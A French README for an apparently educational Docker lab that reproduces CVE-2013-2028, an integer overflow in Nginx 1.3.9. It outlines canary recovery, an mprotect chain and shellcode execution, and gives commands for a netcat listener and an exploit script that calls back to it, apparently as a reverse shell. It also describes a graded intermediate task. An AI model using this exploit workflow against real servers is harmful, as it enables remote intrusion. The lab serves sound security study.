Labo basé sur Docker et exploit Python pour CVE-2013-2028, un débordement d'entier dans le parseur chunked de Nginx 1.3.9, couvrant la récupération du canary, mprotect et l'exécution de shellcode.
Logiciel vulnérable : Nginx 1.3.9
Fonction vulnérable : ngx_http_parse_chunked
CVE-2013-2028 est une vulnérabilité de dépassement d'entier dans l'analyseur d'encodage de transfert chunked HTTP de Nginx. Dans les conditions ciblées par cet environnement de laboratoire, la vulnérabilité peut entraîner une corruption de mémoire et peut être utilisée pour influencer le flux de contrôle.
Ce dépôt fournit un environnement isolé basé sur Docker pour étudier la vulnérabilité et reproduire le workflow d'exploitation.
L'exploit complet se compose de quatre phases principales :
Récupération du canari de pile
Récupérer le canari de pile par sondage octet par octet.
Manipulation des protections mémoire
Calculer les informations d'adresse pertinentes et construire la séquence de flux de contrôle requise pour invoquer mprotect sur la région mémoire contrôlée.
Placement du shellcode
Copier la charge utile dans la région mémoire contrôlée.
Transfert du flux de contrôle
Transférer l'exécution vers la région mémoire contrôlée.
L'exploit complet démontre la progression depuis le déclenchement de l'analyseur vulnérable, en passant par la corruption de mémoire et la manipulation du flux de contrôle, jusqu'à l'exécution de code contrôlée.
exploit.pynetcat pour l'écouteur utilisé par le laboratoire completSur le système hôte, démarrez un écouteur sur le port configuré :
nc -lvp 4345
Utilisez le même port avec l'argument --listenerport (-lp) lors de l'exécution de l'exploit.
Construisez et démarrez l'environnement Docker :
sudo docker-compose up --build
La cible vulnérable exécute Nginx 1.3.9 à l'intérieur du conteneur.
Vous pouvez vérifier la version de Nginx avec :
docker-compose exec cve-2013-2028 /usr/local/nginx/sbin/nginx -v
Exécutez :
python3 exploit.py \
-ra 127.0.0.1 \
-rp 8081 \
-la <listener-machine-address> \
-lp <listener-machine-port>
L'exploit effectue les étapes de récupération du canari et de construction de la charge utile avant d'envoyer la charge utile finale à la cible vulnérable.
Si un canari précédemment récupéré est disponible, il peut être fourni avec :
python3 exploit.py \
-ra 127.0.0.1 \
-rp 8081 \
-la <listener-machine-address> \
-lp <listener-machine-port> \
-c '<canary>'
Le dépôt fournit également une tâche intermédiaire pour évaluer la progression dans le workflow de recherche de vulnérabilité.
Exécutez :
python3 intermediate_task.py \
-ra 127.0.0.1 \
-rp 8081 \
-la <listener-machine-address> \
-lp <listener-machine-port>
La tâche intermédiaire effectue ses vérifications directement contre la cible Docker en cours d'exécution. Elle ne repose pas sur des fichiers de preuve créés manuellement ni sur des assertions JSON fournies manuellement.
La tâche vérifie deux domaines :
La tâche :
La tâche :
nginx -t.La vérification de la configuration établit que la configuration Nginx est syntaxiquement valide. Elle ne doit pas, à elle seule, être interprétée comme la preuve que CVE-2013-2028 a été atténuée.
Exemple de sortie :
============================================================
CVE-2013-2028 INTERMEDIATE TASK
============================================================
Target:
nginx running: True
nginx version: 1.3.9
vulnerable build: True
Progress:
[x] vulnerability_identified
[x] configuration_validated
All required checks completed.
Exercise complete.
La tâche intermédiaire stocke les résultats de ces vérifications d'exécution dans :
grader_state.json
Ce fichier est utilisé uniquement pour persister l'état produit par les vérifications. Il n'est pas la source de la détermination de la vulnérabilité.
L'environnement de laboratoire utilise intentionnellement Nginx 1.3.9, une ancienne version de Nginx affectée par CVE-2013-2028.
L'environnement Docker fournit une cible isolée pour la recherche de vulnérabilités et les exercices d'exploitation. Le service vulnérable ne doit être accessible que par les interfaces exposées par la configuration du laboratoire.
Ce dépôt est destiné uniquement à des fins éducatives et de recherche de sécurité autorisée dans un environnement de laboratoire isolé.
N'exécutez pas l'exploit contre des systèmes que vous ne possédez pas ou pour lesquels vous ne disposez pas d'une autorisation explicite de test.